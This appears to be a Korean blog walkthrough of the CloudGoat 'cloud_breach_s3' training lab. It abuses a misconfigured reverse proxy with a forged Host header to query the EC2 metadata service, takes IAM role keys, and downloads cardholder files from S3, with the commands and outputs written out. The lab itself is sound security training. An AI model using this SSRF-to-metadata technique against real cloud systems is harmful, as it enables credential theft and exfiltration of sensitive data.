
시나리오 리소스
1 VPC with:
- EC2 x 1
- S3 x 1
Amazon VPC (Virtual Private Cloud)
데이터 센터에서 운영하는 기존 네트워크와 유사한 가상 네트워크
Amazon VPC를 사용하면 격리된 가상 네트워크에서 리소스 배치, 연결 등 가상 네트워킹 환경을 제어할 수 있음
VPC에는 각 가용성 영역에 하나에 서브넷이 있고, 각 서브넷에 인스턴스가 있음

Amazon EC2 (Elastic Compute Cloud)
AWS에서 제공하는 클라우드 컴퓨팅 서비스
EC2 인스턴스는 AWS의 클라우드 환경에서 사용자가 가상 서버를 쉽게 생성하고 관리할 수 있도록 지원하는 서비스
Amazon S3 (Simple Storage Service)
최고의 확장성, 데이터 가용성, 보안 및 성능을 제공하는 객체 스토리지 서비스
Amazon S3는 데이터를 버킷 내의 객체로 저장하는 객체 스토리지 서비스
구글 드라이브 처럼 파일을 저장하는 서비스로, 데이터를 온라인에서 오브젝트 형태로 저장하는 서비스

- 객체는 데이터와 메타데이터를 구성하고 있는 저장 단위 (S3에 저장되는 데이터는 모두 객체)
- 버킷은 이러한 객체를 저장하고 관리하는 역할
시나리오 목표
S3 버킷 내의 confidential 파일 다운로드
시나리오 세팅
시나리오 과정
접근 권한이 없는 익명의 외부인으로 시작해서 잘못 설정된 Reverse Proxy(리버스 프록시) 서버를 대상으로 EC2 메타 데이터 서비스를 쿼리하고 EC2 인스턴스 프로필 키를 획득함. 그 키를 사용해 S3 버킷에서 민감한 데이터를 탈취함
- EC2 서버의 IP 주소로 시작
- EC2 메타데이터 서비스로 EC2 인스턴스 프로필 키 획득하기
- 탈취한 정보로 프로필 등록하기
- S3 버킷 내에 존재하는 데이터 출력하기
- S3 버킷 내의 데이터 복사하기
리버스 프록시 (Reverse Proxy)
클라이언트를 대신해 서버로부터 자원을 추출하는 프록시 서버
추출한 자원은 웹 서버 자원들을 마치 웹 서버에서 직접 받은 것처럼 해당 클라이언트로 반환
인터넷 망에 있는 클라이언트가 리버스 프록시 서버에 요청하고 응답을 받는 방식

- 정방향 프록시(Forward Proxy)는 클라이언트가 웹 서버에 요청을 보내면 서버가 클라이언트에 응답함
1. EC2 서버의 IP 주소로 시작
cloudgoat_output_aws_account_id = " "
cloudgoat_output_target_ec2_server_ip = " "
- 시나리오 생성하면 익명의 공격자가 EC2 인스턴스의 IP를 발견했다는 가정 하에 시나리오가 시작됨
- 이 서버는 리버스 프록시로 설정되어 있음
(2) ~/cloudgoat$ cd cloud_breach_s3_[ ]
- 생성된 시나리오 디렉터리로 이동
2. EC2 메타데이터 서비스로 EC2 인스턴스 프로필 키 획득하기
(1) ~/cloudgoat/cloud_breach_s3_[ ]$ curl http://[ec2_server_ip]
<h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again. </h1>
- curl 명령어는 프로토콜(http)을 이용해 URL로 데이터를 전송하여 서버에 데이터를 보내거나 가져올 때 사용하기 위한 도구
- curl 명령어는 리버스 프록시 서버로 동작하고 있는 EC2 인스턴스에 HTTP 요청을 보냄
- 이 서버는 EC2 메타데이터 서버로 request를 전송하도록 구성됨
- EC2 메타데이터 서비스는 특정한 Host 값이 필요한데 Host 헤더를 작성하지 않아 메시지가 출력됨
메타데이터 (Metadata)
- AWS 인스턴스에는 인스턴스를 구성하거나 관리하는데 사용되는 메타데이터가 존재함. 이러한 메타데이터 관리 서비스를 IMDS(Instance Metadata Service) 라고 함
- 메타데이터에는 인스턴스의 설정, 네트워크 정보, 보안 인증서, 환경 변수 등 다양한 정보 포함
- S3 버킷에 올리는 객체가 데이터이고 최종 수정일, 파일 타입 등의 데이터가 메타데이터
AWS EC2 메타데이터 URL
- AWS의 EC2 인스턴스에서는 메타데이터 서비스를 통해 인스턴스에 대한 다양한 정보를 가져올 수 있음
- EC2 인스턴스에서 메타데이터 URL을 호출하면 HTTP 통신을 이용해 메타데이터 가져옴
- AWS EC2에서 Instance Metadata를 조회하는 고정된 주소 : 169.254.169.254
(2) ~/cloudgoat/cloud_breach_s3_[ ]$ curl -s http://[ec2_server_ip]/latest/meta-data/ -H 'Host:169.254.169.254'
ami-id
ami-launch-index
ami-manifest-path
...
iam/
identity-credentials/
instance-action
instance-id
local-ipv4
...
security-groups
services/
- EC2 메타데이터 서비스에 대해 메타데이터 정보를 얻는 명령
- -s 옵션은 진행 내용이나 메시지들을 출력하지 않는 옵션
- AWS EC2 IMDS에 있는 중요한 정보는 /iam 내에 있음
- 역방향 프록시 서버이기 때문에 클라이언트가 메타데이터 서비스에 접근하려면 메타데이터 서비스 주소인 169.254.169.254를 Host 헤더로 사용해야함
(3) ~/cloudgoat/cloud_breach_s3_[ ]$ curl -s http://[ec2_server_ip]/latest/meta-data/iam/security-credentials/ -H 'Host:169.254.169.254'
cg-banking-WAF-Role-cloud_breach_s3_[ ]
- 이전 명령어에 iam/security-credentials/ 경로를 추가하면 role-name을 출력할 수 있음

(4) ~/cloudgoat/cloud_breach_s3_[ ]$ curl -s http://[ec2_server_ip]/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_[ ] -H 'Host:169.254.169.254'
{
"Code" : "Success"
"LastUpdated" : "2024-11-00",
"Type" : "AWS-HMAC",
"AccessKeyId" : " ",
"SecretAccessKey" : " ",
"Token" : " ",
"Expiration" : " "
}
- 이전 명령어에 role-name 을 추가하면 AccessKeyId와 SecretAccessKey, Token을 얻을 수 있음
3. 탈취한 정보로 프로필 등록하기
[breach]
aws_access_key_id =
aws_secret_access_key =
aws_session_token =
- 이름 breach로 프로필 등록 (이름 아무거나 가능)
- 위에서 얻은 정보 그대로 입력해주기
4. S3 버킷 내에 존재하는 데이터 출력하기
(1) ~/cloudgoat/cloud_breach_s3_[ ]$ aws s3 ls --profile breach
2024-11-00 00:00:00 cg-cardholder-data-bucket-cloud-breach-s3-[ ]
- s3 목록 출력하기
- cg-cardholder-data 라는 s3가 존재함
(2) ~/cloudgoat/cloud_breach_s3_[ ]$ aws s3 ls s3://cg-cardholder-data-bucket-cloud-breach-s3-[ ] --profile breach
2024-11-00 00:00:00 58882 cardholder_data_primary.csv
2024-11-00 00:00:00 59384 cardholder_data_secondary.csv
2024-11-00 00:00:00 92165 cardholders_corporate.csv
2024-11-00 00:00:00 249500 goat.png
- cg-cardholder-data라는 s3에 어떤 파일이 있는지 출력
5. S3 버킷 내의 데이터 복사하기
download: s3://cg-cardholder-data-bucket-cloud-breach-s3-[ ]/cardholder_data_primary.csv to cardholder-data/cardholder_data_primary.csv
download: s3://cg-cardholder-data-bucket-cloud-breach-s3-[ ]/cardholder_data_secondary.csv to cardholder-data/cardholder_data_secondary.csv
download: s3://cg-cardholder-data-bucket-cloud-breach-s3-[ ]/cardholders_corporate.csv to cardholder-data/cardholders_corporate.csv
download: s3://cg-cardholder-data-bucket-cloud-breach-s3-[ ]/goat.png to cardholder-data/goat.png
- s3의 파일들을 현재 디렉터리 안에 cardholder-data 이름을 가진 디렉터리로 복사
https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/cloud_breach_s3
cloudgoat/cloudgoat/scenarios/aws/cloud_breach_s3 at master · RhinoSecurityLabs/cloudgoat
CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat
github.com
'2024 > CloudGoat' 카테고리의 다른 글
| [CloudGoat] lambda_privesc (0) | 2026.07.24 |
|---|